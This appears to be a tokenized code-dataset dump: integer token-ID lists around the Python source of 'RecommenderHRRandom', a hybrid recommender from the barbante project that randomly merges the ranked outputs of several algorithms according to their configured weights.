710,
29892,
2322,
2433,
29914,
5959,
29914,
29916,
513,
549,
29920,
11895,
29914,
20128,
29914,
14098,
1469,
29914,
1785,
16580,
29914,
29965,
29878,
2571,
29896,
29900,
29900,
29914,
29519,
29918,
29890,
293,
431,
293,
742,
1371,
353,
27255,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
565,
6389,
29889,
2917,
29901,
13,
539,
3523,
353,
24987,
29898,
5085,
29897,
13,
539,
343,
8807,
29918,
5085,
353,
343,
8807,
29889,
1359,
29898,
3150,
29898,
5085,
29889,
2917,
511,
4309,
1664,
29922,
25162,
29889,
13658,
10036,
29897,
13,
539,
3523,
29889,
5504,
29898,
25162,
29918,
5085,
29897,
13,
268,
13,
1678,
565,
6389,
29889,
27703,
1275,
29871,
29941,
29901,
13,
4706,
12020,
7865,
2392,
703,
11206,
9851,
29934,
338,
16370,
322,
9528,
411,
11955,
29922,
29896,
23157,
13,
13,
1678,
4742,
353,
6213,
13,
1678,
565,
6389,
29889,
29887,
3746,
29918,
333,
6736,
29871,
29900,
322,
4842,
305,
29889,
29883,
6191,
29889,
275,
29918,
16515,
7295,
13,
4706,
1596,
703,
1509,
274,
6191,
669,
274,
566,
15755,
363,
28178,
29991,
1159,
13,
4706,
1596,
703,
1552,
330,
3746,
1178,
338,
29901,
6571,
1642,
4830,
29898,
5085,
29889,
29887,
3746,
29918,
333,
876,
13,
4706,
4742,
353,
4842,
305,
29889,
10141,
877,
29883,
6191,
29901,
8875,
4286,
4830,
29898,
5085,
29889,
29887,
3746,
29918,
333,
876,
13,
4706,
4842,
305,
29889,
1627,
1975,
29889,
29883,
566,
15755,
29889,
1785,
16580,
353,
5852,
13,
1678,
1683,
29901,
13,
4706,
1596,
703,
1509,
26403,
363,
6694,
29991,
1159,
13,
4706,
4742,
353,
4842,
305,
29889,
10141,
877,
21970,
1495,
13,
1678,
4842,
305,
29889,
842,
29918,
1949,
29918,
28993,
29898,
5085,
29889,
28993,
29897,
13,
13,
1678,
1933,
29906,
29895,
353,
360,
5667,
29906,
29968,
29898,
13,
4706,
6389,
29889,
4563,
29906,
29895,
29918,
1092,
29918,
2084,
29892,
29871,
13,
4706,
6389,
29889,
4563,
29906,
29895,
29918,
29212,
29918,
2084,
29892,
29871,
13,
4706,
7945,
29922,
5574,
29892,
29871,
13,
4706,
18765,
29922,
5085,
29889,
1272,
29918,
2987,
358,
29892,
29871,
13,
4706,
6287,
29922,
5085,
29889,
7052,
29892,
29871,
13,
4706,
11955,
29922,
5085,
29889,
27703,
29892,
29871,
13,
4706,
13261,
29918,
2311,
29922,
5085,
29889,
5041,
29918,
2311,
29892,
29871,
13,
4706,
12312,
29922,
5085,
29889,
1272,
29918,
14358,
29892,
29871,
13,
4706,
3787,
29918,
262,
29918,
2572,
29922,
5085,
29889,
8899,
29918,
262,
29918,
2572,
13,
1678,
1723,
13,
13,
1678,
731,
29945,
29871,
353,
4111,
16580,
29898,
5085,
29889,
842,
29945,
29918,
1092,
29918,
2084,
29892,
6389,
29889,
842,
29945,
29918,
29212,
29918,
2084,
29892,
6287,
29922,
5085,
29889,
7052,
29892,
11955,
29922,
5085,
29889,
27703,
29892,
3787,
29918,
262,
29918,
2572,
29922,
5085,
29889,
8899,
29918,
262,
29918,
2572,
29897,
13,
1678,
731,
29896,
29946,
353,
4111,
16580,
29898,
5085,
29889,
842,
29896,
29946,
29918,
1092,
29918,
2084,
29892,
6389,
29889,
842,
29896,
29946,
29918,
29212,
29918,
2084,
29892,
6287,
29922,
5085,
29889,
7052,
29892,
11955,
29922,
5085,
29889,
27703,
29892,
3787,
29918,
262,
29918,
2572,
29922,
5085,
29889,
8899,
29918,
262,
29918,
2572,
29897,
13,
1678,
289,
29896,
29900,
29900,
29871,
353,
4111,
16580,
29898,
5085,
29889,
29890,
29896,
29900,
29900,
29918,
1092,
29918,
2084,
29892,
6389,
29889,
29890,
29896,
29900,
29900,
29918,
29212,
29918,
2084,
29892,
6287,
29922,
5085,
29889,
7052,
29892,
11955,
29922,
5085,
29889,
27703,
29892,
3787,
29918,
262,
29918,
2572,
29922,
5085,
29889,
8899,
29918,
262,
29918,
2572,
29897,
13,
1678,
318,
29896,
29900,
29900,
29871,
353,
4111,
16580,
29898,
5085,
29889,
29884,
29896,
29900,
29900,
29918,
1092,
29918,
2084,
29892,
6389,
29889,
29884,
29896,
29900,
29900,
29918,
29212,
29918,
2084,
29892,
6287,
29922,
5085,
29889,
7052,
29892,
11955,
29922,
5085,
29889,
27703,
29892,
3787,
29918,
262,
29918,
2572,
29922,
5085,
29889,
8899,
29918,
262,
29918,
2572,
29897,
13,
13,
1678,
7945,
29918,
29881,
2075,
29877,
1664,
353,
3630,
10036,
29898,
24713,
29922,
4563,
29906,
29895,
29892,
954,
29918,
1287,
414,
29922,
5085,
29889,
28993,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
16175,
29918,
2311,
29892,
528,
21897,
29922,
5574,
29892,
12534,
29918,
14834,
29922,
5574,
29892,
5768,
29918,
4230,
29922,
5574,
29897,
13,
1678,
2854,
29918,
29881,
2075,
29877,
24574,
353,
5159,
13,
1678,
2854,
29918,
29881,
2075,
29877,
24574,
4619,
518,
10998,
978,
2396,
525,
842,
29945,
742,
525,
29881,
2075,
29877,
1664,
2396,
3630,
10036,
29898,
24713,
29922,
842,
29945,
29892,
9853,
29918,
2311,
29922,
29896,
29892,
528,
21897,
29922,
8824,
2915,
29962,
13,
1678,
2854,
29918,
29881,
2075,
29877,
24574,
4619,
518,
10998,
978,
2396,
525,
842,
29896,
29946,
742,
525,
29881,
2075,
29877,
1664,
2396,
3630,
10036,
29898,
24713,
29922,
842,
29896,
29946,
29892,
9853,
29918,
2311,
29922,
29896,
29892,
528,
21897,
29922,
8824,
2915,
29962,
13,
1678,
2854,
29918,
29881,
2075,
29877,
24574,
4619,
518,
10998,
978,
2396,
525,
29890,
29896,
29900,
29900,
742,
525,
29881,
2075,
29877,
1664,
2396,
3630,
10036,
29898,
24713,
29922,
29890,
29896,
29900,
29900,
29892,
9853,
29918,
2311,
29922,
29896,
29892,
528,
21897,
29922,
8824,
2915,
29962,
13,
1678,
2854,
29918,
29881,
2075,
29877,
24574,
4619,
518,
10998,
978,
2396,
525,
29884,
29896,
29900,
29900,
742,
525,
29881,
2075,
29877,
1664,
2396,
3630,
10036,
29898,
24713,
29922,
29884,
29896,
29900,
29900,
29892,
9853,
29918,
2311,
29922,
29896,
29892,
528,
21897,
29922,
8824,
2915,
29962,
13,
13,
1678,
444,
15848,
310,
1904,
29892,
6410,
29892,
322,
5994,
3950,
13,
1678,
1904,
353,
17522,
9851,
29934,
29898,
5453,
29918,
1949,
29879,
29922,
5085,
29889,
29885,
29918,
687,
5824,
29878,
29892,
8242,
29918,
1949,
29879,
29922,
5085,
29889,
29883,
29918,
687,
5824,
29878,
29892,
411,
29918,
333,
29873,
29922,
5085,
29889,
333,
29873,
29918,
687,
5824,
29878,
29892,
1044,
29918,
1853,
29922,
5085,
29889,
627,
29918,
1853,
29892,
6287,
29922,
5085,
29889,
7052,
29892,
11955,
29922,
5085,
29889,
27703,
467,
517,
29898,
10141,
29897,
13,
1678,
6410,
29918,
9891,
353,
302,
29876,
29889,
29931,
29896,
29931,
2209,
580,
13,
1678,
5994,
3950,
353,
4842,
305,
29889,
20640,
29889,
3253,
314,
29898,
4299,
29889,
16744,
3285,
301,
29878,
29922,
5085,
29889,
29212,
29897,
13,
1678,
565,
6389,
29889,
1457,
14968,
338,
451,
6213,
29901,
13,
4706,
1596,
703,
1359,
758,
3018,
1312,
1904,
29901,
6571,
29991,
1642,
4830,
29898,
5085,
29889,
1457,
14968,
876,
13,
4706,
1904,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
7345,
305,
29889,
1359,
29898,
5085,
29889,
1457,
14968,
876,
13,
1678,
1683,
29901,
13,
4706,
1596,
703,
14968,
278,
1904,
515,
22728,
29991,
1159,
13,
13,
1678,
444,
4469,
29899,
17158,
278,
1962,
1480,
978,
13,
1678,
14334,
353,
3667,
29879,
29889,
2764,
29918,
16394,
29918,
710,
580,
13,
1678,
7639,
29918,
978,
353,
376,
687,
5824,
29878,
29899,
29916,
29912,
7402,
29885,
8875,
29883,
29912,
7402,
29912,
7402,
8875,
1642,
4830,
29898,
5085,
29889,
7052,
29892,
6389,
29889,
29885,
29918,
687,
5824,
29878,
29892,
6389,
29889,
29883,
29918,
687,
5824,
29878,
29892,
6389,
29889,
627,
29918,
1853,
29892,
14334,
29897,
13,
1678,
7639,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
1188,
29918,
2084,
29892,
7639,
29918,
978,
29897,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
735,
15362,
29918,
2084,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
735,
15362,
29918,
2084,
29897,
13,
1678,
7639,
29918,
4299,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
735,
15362,
29918,
2084,
29892,
525,
9794,
1495,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
735,
15362,
29918,
4299,
29918,
2084,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
735,
15362,
29918,
4299,
29918,
2084,
29897,
13,
13,
1678,
1480,
29918,
978,
353,
2897,
29889,
2084,
29889,
7122,
29898,
735,
15362,
29918,
2084,
29892,
376,
1188,
29889,
3945,
1159,
13,
1678,
10876,
29889,
25393,
353,
3667,
29879,
29889,
1252,
15362,
16363,
29898,
1188,
29918,
978,
29892,
10876,
29889,
25393,
29897,
13,
1678,
1002,
29918,
8977,
353,
3667,
29879,
29889,
657,
29918,
6112,
29918,
8977,
580,
13,
13,
13,
1678,
444,
4078,
6694,
1828,
2153,
13,
1678,
1518,
29918,
7529,
353,
24987,
29898,
5085,
29897,
13,
1678,
1518,
29918,
7529,
29918,
978,
353,
2897,
29889,
2084,
29889,
7122,
29898,
735,
15362,
29918,
2084,
29892,
525,
2917,
29889,
21053,
1495,
13,
1678,
411,
1722,
29898,
4548,
29918,
7529,
29918,
978,
29892,
525,
29893,
1495,
408,
1518,
29918,
7529,
29918,
1445,
29901,
13,
4706,
343,
8807,
29889,
15070,
29898,
4548,
29918,
7529,
29892,
1518,
29918,
7529,
29918,
1445,
29892,
2322,
29918,
1731,
29918,
3293,
29922,
8824,
29897,
13,
13,
13,
1678,
12237,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
1678,
363,
21502,
305,
297,
3464,
29898,
5085,
29889,
1022,
2878,
29879,
1125,
13,
4706,
21502,
305,
29918,
6758,
353,
29871,
29900,
29889,
29900,
13,
4706,
1002,
29918,
8977,
1839,
1022,
2878,
29879,
2033,
353,
21502,
305,
13,
4706,
1904,
353,
1904,
29889,
14968,
580,
13,
4706,
1596,
703,
2277,
4936,
25512,
29923,
1129,
305,
29901,
6571,
4936,
2751,
29922,
2277,
1642,
4830,
29898,
1022,
2878,
876,
13,
4706,
363,
4256,
29892,
9853,
297,
26985,
29898,
14968,
29918,
29881,
2075,
29877,
1664,
1125,
13,
9651,
5994,
3950,
29889,
9171,
29918,
5105,
580,
13,
9651,
301,
29878,
29892,
22157,
353,
9853,
13,
9651,
301,
29878,
29892,
22157,
353,
301,
29878,
29889,
517,
29898,
10141,
511,
22157,
29889,
517,
29898,
10141,
29897,
13,
9651,
27236,
353,
1904,
29898,
29212,
29897,
13,
9651,
6410,
353,
6410,
29918,
9891,
29898,
21935,
29892,
22157,
29897,
13,
9651,
6410,
29889,
1627,
1328,
580,
13,
9651,
5994,
3950,
29889,
10568,
580,
13,
13,
9651,
21502,
305,
29918,
6758,
4619,
5785,
29898,
6758,
29897,
13,
13,
9651,
565,
313,
1524,
718,
29871,
29896,
29897,
1273,
6389,
29889,
1188,
29918,
17991,
1275,
29871,
29900,
29901,
13,
13,
18884,
3151,
29918,
24530,
353,
313,
1524,
29974,
29896,
11877,
5085,
29889,
16175,
29918,
2311,
13,
18884,
3001,
29918,
24530,
353,
7431,
29898,
14968,
29918,
29881,
2075,
29877,
1664,
29889,
24713,
29897,
13,
18884,
5445,
29918,
2103,
353,
5844,
29889,
27696,
29898,
755,
29889,
1188,
29896,
29900,
29898,
7827,
29918,
24530,
876,
13,
18884,
3151,
29918,
24530,
353,
851,
29898,
2764,
29918,
24530,
467,
29920,
5589,
29898,
5589,
29918,
2103,
29897,
13,
13,
18884,
21502,
305,
29918,
2103,
353,
5844,
29889,
27696,
29898,
755,
29889,
1188,
29896,
29900,
29898,
5085,
29889,
1022,
2878,
29879,
876,
13,
18884,
3151,
29918,
1022,
2878,
353,
851,
29898,
1022,
2878,
467,
29920,
5589,
29898,
1022,
2878,
29918,
2103,
29897,
13,
13,
18884,
1029,
29887,
29918,
6758,
353,
21502,
305,
29918,
6758,
847,
313,
1524,
718,
29871,
29896,
29897,
13,
18884,
1002,
29918,
8977,
1839,
6758,
267,
13359,
4397,
29898,
485,
29887,
29918,
6758,
29897,
13,
13,
18884,
12237,
29918,
355,
353,
931,
29889,
2230,
580,
13,
18884,
14385,
353,
12237,
29918,
355,
448,
12237,
29918,
2962,
13,
18884,
12237,
29918,
2962,
353,
12237,
29918,
355,
13,
18884,
1596,
703,
29923,
1129,
305,
26254,
1118,
6571,
19248,
1118,
6410,
29901,
12365,
29889,
29946,
29888,
1118,
931,
29901,
12365,
29889,
29941,
29888,
29913,
1642,
4830,
29898,
2764,
29918,
1022,
2878,
29892,
3151,
29918,
24530,
29892,
3001,
29918,
24530,
29892,
1029,
29887,
29918,
6758,
29892,
14385,
876,
13,
13,
4706,
565,
313,
1022,
2878,
718,
29871,
29896,
29897,
1273,
6389,
29889,
1688,
29918,
17991,
1275,
29871,
29900,
29901,
13,
9651,
4842,
305,
29889,
842,
29918,
5105,
29918,
17590,
29898,
8824,
29897,
13,
9651,
1243,
29918,
1188,
353,
5124,
13,
9651,
1904,
353,
1904,
29889,
14513,
580,
13,
9651,
363,
2854,
29918,
29881,
2075,
29877,
1664,
297,
2854,
29918,
29881,
2075,
29877,
24574,
29901,
13,
18884,
1029,
29887,
29918,
567,
22230,
353,
29871,
29900,
29889,
29900,
13,
18884,
1029,
29887,
29918,
893,
326,
353,
29871,
29900,
29889,
29900,
13,
18884,
1024,
353,
2854,
29918,
29881,
2075,
29877,
1664,
1839,
978,
2033,
13,
18884,
23466,
353,
2854,
29918,
29881,
2075,
29877,
1664,
1839,
29881,
2075,
29877,
1664,
2033,
13,
18884,
363,
301,
29878,
29892,
22157,
297,
260,
29939,
18933,
29898,
12657,
29892,
302,
22724,
29922,
29947,
29900,
1125,
13,
462,
1678,
301,
29878,
29892,
22157,
353,
301,
29878,
29889,
517,
29898,
10141,
511,
22157,
29889,
517,
29898,
10141,
29897,
13,
462,
1678,
27236,
353,
1904,
29898,
29212,
29897,
13,
462,
1678,
396,
274,
1336,
13,
462,
1678,
22157,
353,
22157,
7503,
29892,
584,
29892,
6389,
29889,
7052,
13018,
5085,
29889,
7052,
29892,
6389,
29889,
7052,
13018,
5085,
29889,
7052,
29962,
13,
462,
1678,
27236,
353,
27236,
7503,
29892,
584,
29892,
6389,
29889,
7052,
13018,
5085,
29889,
7052,
29892,
6389,
29889,
7052,
13018,
5085,
29889,
7052,
29962,
13,
462,
1678,
396,
4323,
675,
13,
462,
1678,
22157,
353,
22157,
29889,
695,
1160,
29898,
29900,
29892,
29871,
29906,
29945,
29945,
29897,
13,
462,
1678,
27236,
353,
27236,
29889,
695,
1160,
29898,
29900,
29892,
29871,
29906,
29945,
29945,
29897,
13,
462,
1678,
396,
8147,
6529,
22230,
13,
462,
1678,
6529,
22230,
353,
3667,
29879,
29889,
28667,
29918,
567,
22230,
29898,
21935,
29892,
22157,
29897,
4706,
13,
462,
1678,
269,
3601,
353,
3667,
29879,
29889,
28667,
29918,
893,
326,
29898,
21935,
29892,
22157,
29897,
3986,
13,
462,
1678,
1029,
29887,
29918,
567,
22230,
4619,
6529,
22230,
13,
462,
1678,
1029,
29887,
29918,
893,
326,
4619,
269,
3601,
13,
18884,
1029,
29887,
29918,
567,
22230,
353,
4513,
29898,
485,
29887,
29918,
567,
22230,
29914,
2435,
29898,
12657,
511,
29871,
29906,
29897,
13,
18884,
1029,
29887,
29918,
893,
326,
353,
4513,
29898,
485,
29887,
29918,
893,
326,
29914,
2435,
29898,
12657,
511,
29871,
29946,
29897,
13,
18884,
1002,
29918,
8977,
29961,
978,
22322,
567,
29876,
2288,
13359,
4397,
29898,
485,
29887,
29918,
567,
22230,
29897,
13,
18884,
1002,
29918,
8977,
29961,
978,
22322,
893,
9893,
13359,
4397,
29898,
485,
29887,
29918,
893,
326,
29897,
13,
18884,
565,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
567,
22230,
16215,
1767,
2033,
529,
1029,
29887,
29918,
567,
22230,
29901,
13,
462,
1678,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
567,
22230,
16215,
1767,
2033,
353,
1029,
29887,
29918,
567,
22230,
13,
462,
1678,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
567,
22230,
16215,
1022,
2878,
2033,
353,
21502,
305,
13,
18884,
565,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
893,
326,
16215,
1767,
2033,
529,
1029,
29887,
29918,
893,
326,
29901,
13,
462,
1678,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
893,
326,
16215,
1767,
2033,
353,
1029,
29887,
29918,
893,
326,
13,
462,
1678,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
893,
326,
16215,
1022,
2878,
2033,
353,
21502,
305,
13,
18884,
1243,
29918,
1188,
4619,
14704,
29912,
7402,
29990,
8875,
1402,
11323,
16514,
29914,
1799,
7833,
29901,
12365,
29889,
29906,
29888,
6822,
25641,
29889,
29946,
29888,
29913,
313,
25353,
29901,
12365,
29889,
29906,
29888,
6822,
25641,
29889,
29946,
29888,
1118,
382,
1129,
305,
29901,
6571,
19248,
11606,
29876,
1642,
4830,
29898,
13,
462,
1678,
1024,
29892,
6389,
29889,
7052,
29892,
5785,
29898,
485,
29887,
29918,
567,
22230,
511,
5785,
29898,
485,
29887,
29918,
893,
326,
511,
29871,
13,
462,
1678,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
567,
22230,
16215,
1767,
7464,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
893,
326,
16215,
1767,
7464,
29871,
13,
462,
1678,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
567,
22230,
16215,
1022,
2878,
7464,
1002,
29918,
8977,
29961,
978,
22322,
13318,
29918,
893,
326,
16215,
1022,
2878,
11287,
13,
9651,
396,
1596,
1480,
669,
28371,
714,
13,
9651,
1596,
29898,
1688,
29918,
1188,
29897,
13,
9651,
10876,
29889,
25393,
29889,
23126,
580,
13,
9651,
396,
4078,
1904,
13,
9651,
7160,
29918,
4299,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
735,
15362,
29918,
4299,
29918,
2084,
29892,
525,
4299,
29918,
29916,
29912,
3227,
1836,
415,
4286,
4830,
29898,
5085,
29889,
7052,
29892,
21502,
305,
876,
13,
9651,
4842,
305,
29889,
7620,
29898,
4299,
29889,
3859,
29918,
8977,
3285,
7160,
29918,
4299,
29918,
2084,
29897,
13,
9651,
4842,
305,
29889,
842,
29918,
5105,
29918,
17590,
29898,
5574,
29897,
13,
9651,
396,
4078,
1002,
9657,
13,
9651,
444,
4078,
6694,
1828,
2153,
13,
9651,
1002,
29918,
8977,
29918,
978,
353,
2897,
29889,
2084,
29889,
7122,
29898,
735,
15362,
29918,
2084,
29892,
525,
6112,
29918,
8977,
29889,
21053,
1495,
13,
9651,
411,
1722,
29898,
6112,
29918,
8977,
29918,
978,
29892,
525,
29893,
1495,
408,
1002,
29918,
8977,
29918,
1445,
29901,
13,
18884,
343,
8807,
29889,
15070,
29898,
6112,
29918,
8977,
29892,
1002,
29918,
8977,
29918,
1445,
29892,
2322,
29918,
1731,
29918,
3293,
29922,
8824,
29897,
2
] |
barbante/recommendation/RecommenderHRRandom.py | hypermindr/barbante | 10 | 160946 | """ Hybrid Recommender HRRandom.
"""
import random
from barbante.recommendation.HybridRecommender import HybridRecommender
import barbante.utils.logging as barbante_logging
log = barbante_logging.get_logger(__name__)
class RecommenderHRRandom(HybridRecommender):
""" Hybrid Recommender HRRandom.
It merges different algorithms randomly, respecting the probability assigned to each algorithm
and the relative orders of the recommendations produces by each strategy.
"""
def __init__(self, session_context):
super().__init__(session_context)
def get_suffix(self):
""" See barbante.recommendation.Recommender.
"""
return "HRRandom"
def obtain_cdf(self, recommendations_by_algorithm, item_idx_by_algorithm):
""" Computes the cumulative distribution function associated to the algorithms
that are used by this recommender.
:param recommendations_by_algorithm: The set of algorithms to be sampled.
:param item_idx_by_algorithm: Points to the next item to be consumed from the list of contributions
of a given algorithm. When such index is equal to the size of the list, that algorithm has
nothing left to contribute.
:returns: A list with (Sum(p_i), alg) pairs, where Sum(p_i) is the cumulative
probability for algorithm *alg*.
"""
cdf = []
cumulative_prob = 0
for algorithm, prob in self.session_context.algorithm_weights[self.get_suffix()]:
if item_idx_by_algorithm[algorithm] < len(recommendations_by_algorithm.get(algorithm, {})):
cumulative_prob += prob
cdf += [(algorithm, cumulative_prob)]
# normalizes
cdf = [(cdf_item[0], cdf_item[1] / cumulative_prob) for cdf_item in cdf]
return cdf
@staticmethod
def choose_algorithm(cdf):
result = None
rand = random.random()
for algorithm, cumulative_prob in cdf:
if rand < cumulative_prob:
result = algorithm
break
return result
def merge_algorithm_contributions(self, sorted_scores_by_algorithm, n_recommendations):
""" See barbante.recommend.HybridRecommender.
"""
log.debug("Merging contributions...")
recommendations = []
recommendations_set = set() # avoids duplicates among different algorithms
contributions_by_algorithm = {alg: 0 for alg in self.algorithms} # for logging
item_idx_by_algorithm = {alg: 0 for alg in self.algorithms} # to keep track of traversal position
# Selects recommendations randomly, based on the probability distribution given by the algorithm weights.
cdf = self.obtain_cdf(sorted_scores_by_algorithm, item_idx_by_algorithm)
n_items_left_to_fill = n_recommendations - len(recommendations)
while n_items_left_to_fill > 0:
algorithm = self.choose_algorithm(cdf)
if algorithm is None:
break # all algorithm contributions have been exhausted
sorted_candidate_scores = sorted_scores_by_algorithm.get(algorithm)
if sorted_candidate_scores is None:
continue
while item_idx_by_algorithm[algorithm] < len(sorted_candidate_scores):
score, candidate = sorted_candidate_scores[item_idx_by_algorithm[algorithm]]
item_idx_by_algorithm[algorithm] += 1
if candidate not in recommendations_set:
recommendations_set.add(candidate)
contributions_by_algorithm[algorithm] += 1
# prepends the identification of the source algorithm in the score tuple
recommendations += [([algorithm] + score, candidate)]
break
updated_n_items_left_to_fill = n_recommendations - len(recommendations)
if updated_n_items_left_to_fill == n_items_left_to_fill:
# chosen algorithm has no more contributions to give -- let's update the cdf
cdf = self.obtain_cdf(sorted_scores_by_algorithm, item_idx_by_algorithm)
n_items_left_to_fill = updated_n_items_left_to_fill
for alg in self.algorithms:
log.info("Algorithm [%s] contributed [%d] items" % (alg, contributions_by_algorithm[alg]))
return recommendations
| [
1,
9995,
9665,
19515,
830,
2055,
1581,
379,
29934,
17875,
29889,
13,
15945,
29908,
13,
13,
5215,
4036,
13,
13,
3166,
2594,
29890,
1647,
29889,
276,
2055,
355,
362,
29889,
26322,
19515,
1123,
2055,
1581,
1053,
9665,
19515,
1123,
2055,
1581,
13,
5215,
2594,
29890,
1647,
29889,
13239,
29889,
21027,
408,
2594,
29890,
1647,
29918,
21027,
13,
13,
13,
1188,
353,
2594,
29890,
1647,
29918,
21027,
29889,
657,
29918,
21707,
22168,
978,
1649,
29897,
13,
13,
13,
1990,
830,
2055,
1581,
20938,
17875,
29898,
26322,
19515,
1123,
2055,
1581,
1125,
13,
1678,
9995,
9665,
19515,
830,
2055,
1581,
379,
29934,
17875,
29889,
13,
4706,
739,
2778,
2710,
1422,
14009,
20459,
29892,
3390,
292,
278,
6976,
9859,
304,
1269,
5687,
13,
4706,
322,
278,
6198,
11299,
310,
278,
6907,
800,
13880,
491,
1269,
13705,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4867,
29918,
4703,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
7924,
29918,
4703,
29897,
13,
13,
1678,
822,
679,
29918,
2146,
600,
861,
29898,
1311,
1125,
13,
4706,
9995,
2823,
2594,
29890,
1647,
29889,
276,
2055,
355,
362,
29889,
1123,
2055,
1581,
29889,
13,
4706,
9995,
13,
4706,
736,
376,
20938,
17875,
29908,
13,
13,
1678,
822,
4017,
29918,
29883,
2176,
29898,
1311,
29892,
6907,
800,
29918,
1609,
29918,
20567,
29892,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
1125,
13,
4706,
9995,
11796,
267,
278,
13299,
28524,
4978,
740,
6942,
304,
278,
14009,
13,
9651,
393,
526,
1304,
491,
445,
5052,
1581,
29889,
13,
13,
9651,
584,
3207,
6907,
800,
29918,
1609,
29918,
20567,
29901,
450,
731,
310,
14009,
304,
367,
4559,
29881,
29889,
13,
9651,
584,
3207,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
29901,
8984,
29879,
304,
278,
2446,
2944,
304,
367,
11233,
287,
515,
278,
1051,
310,
20706,
13,
18884,
310,
263,
2183,
5687,
29889,
1932,
1316,
2380,
338,
5186,
304,
278,
2159,
310,
278,
1051,
29892,
393,
5687,
756,
13,
18884,
3078,
2175,
304,
29126,
29889,
13,
9651,
584,
18280,
29901,
319,
1051,
411,
313,
11139,
29898,
29886,
29918,
29875,
511,
3093,
29897,
11000,
29892,
988,
6991,
29898,
29886,
29918,
29875,
29897,
338,
278,
13299,
28524,
13,
18884,
6976,
363,
5687,
334,
9564,
10521,
13,
4706,
9995,
13,
4706,
274,
2176,
353,
5159,
13,
4706,
13299,
28524,
29918,
22795,
353,
29871,
29900,
13,
4706,
363,
5687,
29892,
2070,
297,
1583,
29889,
7924,
29918,
4703,
29889,
20567,
29918,
705,
5861,
29961,
1311,
29889,
657,
29918,
2146,
600,
861,
580,
5387,
13,
9651,
565,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
29961,
20567,
29962,
529,
7431,
29898,
276,
2055,
355,
800,
29918,
1609,
29918,
20567,
29889,
657,
29898,
20567,
29892,
6571,
22164,
13,
18884,
13299,
28524,
29918,
22795,
4619,
2070,
13,
18884,
274,
2176,
4619,
17288,
20567,
29892,
13299,
28524,
29918,
22795,
4638,
13,
4706,
396,
4226,
7093,
13,
4706,
274,
2176,
353,
17288,
29883,
2176,
29918,
667,
29961,
29900,
1402,
274,
2176,
29918,
667,
29961,
29896,
29962,
847,
13299,
28524,
29918,
22795,
29897,
363,
274,
2176,
29918,
667,
297,
274,
2176,
29962,
13,
4706,
736,
274,
2176,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6755,
29918,
20567,
29898,
29883,
2176,
1125,
13,
4706,
1121,
353,
6213,
13,
4706,
20088,
353,
4036,
29889,
8172,
580,
13,
4706,
363,
5687,
29892,
13299,
28524,
29918,
22795,
297,
274,
2176,
29901,
13,
9651,
565,
20088,
529,
13299,
28524,
29918,
22795,
29901,
13,
18884,
1121,
353,
5687,
13,
18884,
2867,
13,
4706,
736,
1121,
13,
13,
1678,
822,
10366,
29918,
20567,
29918,
1285,
3224,
29879,
29898,
1311,
29892,
12705,
29918,
1557,
2361,
29918,
1609,
29918,
20567,
29892,
302,
29918,
276,
2055,
355,
800,
1125,
13,
4706,
9995,
2823,
2594,
29890,
1647,
29889,
276,
2055,
355,
29889,
26322,
19515,
1123,
2055,
1581,
29889,
13,
4706,
9995,
13,
4706,
1480,
29889,
8382,
703,
15836,
3460,
20706,
856,
1159,
13,
13,
4706,
6907,
800,
353,
5159,
13,
4706,
6907,
800,
29918,
842,
353,
731,
580,
29871,
396,
4772,
29879,
20955,
4249,
1422,
14009,
13,
13,
4706,
20706,
29918,
1609,
29918,
20567,
353,
426,
9564,
29901,
29871,
29900,
363,
3093,
297,
1583,
29889,
9564,
12404,
29913,
29871,
396,
363,
12183,
13,
4706,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
353,
426,
9564,
29901,
29871,
29900,
363,
3093,
297,
1583,
29889,
9564,
12404,
29913,
29871,
396,
304,
3013,
5702,
310,
13310,
284,
2602,
13,
13,
4706,
396,
7605,
29879,
6907,
800,
20459,
29892,
2729,
373,
278,
6976,
4978,
2183,
491,
278,
5687,
18177,
29889,
13,
13,
4706,
274,
2176,
353,
1583,
29889,
711,
2408,
29918,
29883,
2176,
29898,
24582,
29918,
1557,
2361,
29918,
1609,
29918,
20567,
29892,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
29897,
13,
4706,
302,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
353,
302,
29918,
276,
2055,
355,
800,
448,
7431,
29898,
276,
2055,
355,
800,
29897,
13,
13,
4706,
1550,
302,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
1405,
29871,
29900,
29901,
13,
9651,
5687,
353,
1583,
29889,
21803,
29918,
20567,
29898,
29883,
2176,
29897,
13,
9651,
565,
5687,
338,
6213,
29901,
13,
18884,
2867,
29871,
396,
599,
5687,
20706,
505,
1063,
18782,
16656,
13,
13,
9651,
12705,
29918,
29883,
5380,
403,
29918,
1557,
2361,
353,
12705,
29918,
1557,
2361,
29918,
1609,
29918,
20567,
29889,
657,
29898,
20567,
29897,
13,
9651,
565,
12705,
29918,
29883,
5380,
403,
29918,
1557,
